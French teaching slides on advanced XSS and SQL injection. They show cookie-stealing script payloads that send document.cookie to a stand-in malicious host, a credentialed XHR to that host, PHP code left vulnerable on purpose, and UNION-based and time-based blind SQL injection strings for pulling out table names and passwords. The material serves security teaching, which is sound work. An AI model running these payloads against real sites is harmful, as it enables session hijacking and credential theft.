

XSS & SQL avancés

28 septembre 2021

1 XSS

- Principe de base
- Les filtres
- HttpOnly

2 SQL

- Principe de base
- Union
- Attaque basée sur le temps

Principe

```
1 Ceci est mon commentaire...  
2 <script>  
3 alert("Injection de code !");  
4 </script>
```

Exploitation

```
1 Ceci est mon commentaire...
2 <script>
3 window.location="sitemalveillant.com/" + encodeURIComponent(
  ↪ document.cookie );
4 </script>
```

```
1  <!DOCTYPE html>
2  <html>
3      <head>
4          <meta charset="UTF-8">
5          <title>Page des commentaires !</title>
6      </head>
7      <body>
8          <div class='commentaire'>
9              Ceci est mon commentaire...
10             <script>
11                 window.location="sitemalveillant.com/" +
12                 ↪ encodeURI(document.cookie);
13             </script>
14         </div>
15     </body>
16 </html>
```

Filtre basique

Protection possible : filtrer les messages pour neutraliser les balises

```
<script> </script>
```

Ex : remplacer les balises `<script> </script>` par

```
&lt;script&gt; &lt;script&gt;
```

Avantage : relativement simple

Inconvénient : simpliste, difficile de faire un filtre exhaustif

Contournement du filtre basique

- 1 Ceci est mon commentaire...
- 2 ``

Protection basique

HttpOnly : cookie inaccessible via JavaScript, uniquement par HTTP

Contournement : attaque CRSF (*Cross-site request forgery*)

Contournement

```
1 var xhr = new XmlHttpRequest();
2 xhr.open("GET", "http://site-malveillant.com/",
  ↪ true);
3 xhr.withCredentials = true;
4 xhr.send(null);
```

1 XSS

- Principe de base
- Les filtres
- HttpOnly

2 SQL

- Principe de base
- Union
- Attaque basée sur le temps

Code vulnérable

```
1  ...
2  <?php
3  $sql = "SELECT * FROM chall
4  WHERE is_public=1 AND message LIKE
   ↪  '%{$_REQUEST['search']}%'";
5
6  if ($search) {
7      echo("Résultats pour : ".$search."<br>");
8  }
9
10 $result = $db->query($sql);
11 ?>
12 ...
```

Injection

On envoie ceci dans le formulaire :

```
1 ' OR 1=1 -- -
```

Résultat :

```
1 SELECT ... LIKE '%' OR 1=1 -- -
```

```
1  ...
2  <?php
3  $sql = "SELECT id, name, description, price,
4  ↪ quantity FROM produits
5  WHERE description LIKE '%{$_REQUEST['search']}%'";
6  if ($search) {
7      echo("Résultats pour : ".$search."<br>");
8  }
9  $results = $db->query($sql);
10 foreach($results as $r) {
11     echo($r.name . " | " . $r.price . " | " .
12     ↪ $r.quantity . "\n" . $r.description);
13 }
```

Exemple de table

produits				
id	name	description	price	quantity
1	téléphone	Permet de téléphoner	400	26
2	gamecube	Console de salon	250	4
		...		

???				
id	identifiant	password	address	...
1	acheteur	azerty123	400	
2	lemasque	motdepasse123	250	
		...		

Comment atteindre l'autre table ?

Trouver les noms

```
1 SELECT table_schema, table_name FROM
   ↪ information_schema.columns
2 WHERE column_name = 'username';
3 -- Trouve les tables qui ont une colonne nommée
   ↪ 'username'
```

Union

Opérateur UNION en SQL : concatène les résultats de deux requêtes

```
1 SELECT id, name FROM produits
2 UNION
3 SELECT identifiant, password FROM users
```

1	téléphone
2	gamecube
...	...
acheteur	azerty123
lemasque	motdepasse123
...	...

Tentative d'exploitation

```
1 SELECT id, name, description, price, quantity
2 FROM produits
3 WHERE description LIKE '%'
4 UNION
5 SELECT table_schema, table_name
6 FROM information_schema.columns -- -%'
```

Erreur → utilisation incorrecte d'UNION

Attaque fonctionnelle

```
1 SELECT id, name, description, price, quantity
2 FROM produits
3 WHERE description LIKE '%'
4 UNION
5 SELECT table_schema, table_name, 1, 1, 1
6 FROM information_schema.columns -- -%'
```

Problème → On ne voit pas les bonnes colonnes !

Attaque correcte

```
1 SELECT table_schema, table_name, 1, 1, 1
2 FROM information_schema.columns -- -%'
```



```
1 SELECT 1, table_schema, table_name, 1, 1
2 FROM information_schema.columns -- -%'
```

Principe général

Parfois, pas de retour visible des résultats

Utilisation de `SLEEP()` avec par exemple des `IF`, des `ELSIF` et `ELSE`

```
1 SELECT id, username FROM users WHERE id = -1 OR
2 (SELECT SLEEP(3) FROM users WHERE id=1
3 AND SUBSTR(password, 2, 4) LIKE '%a%')
```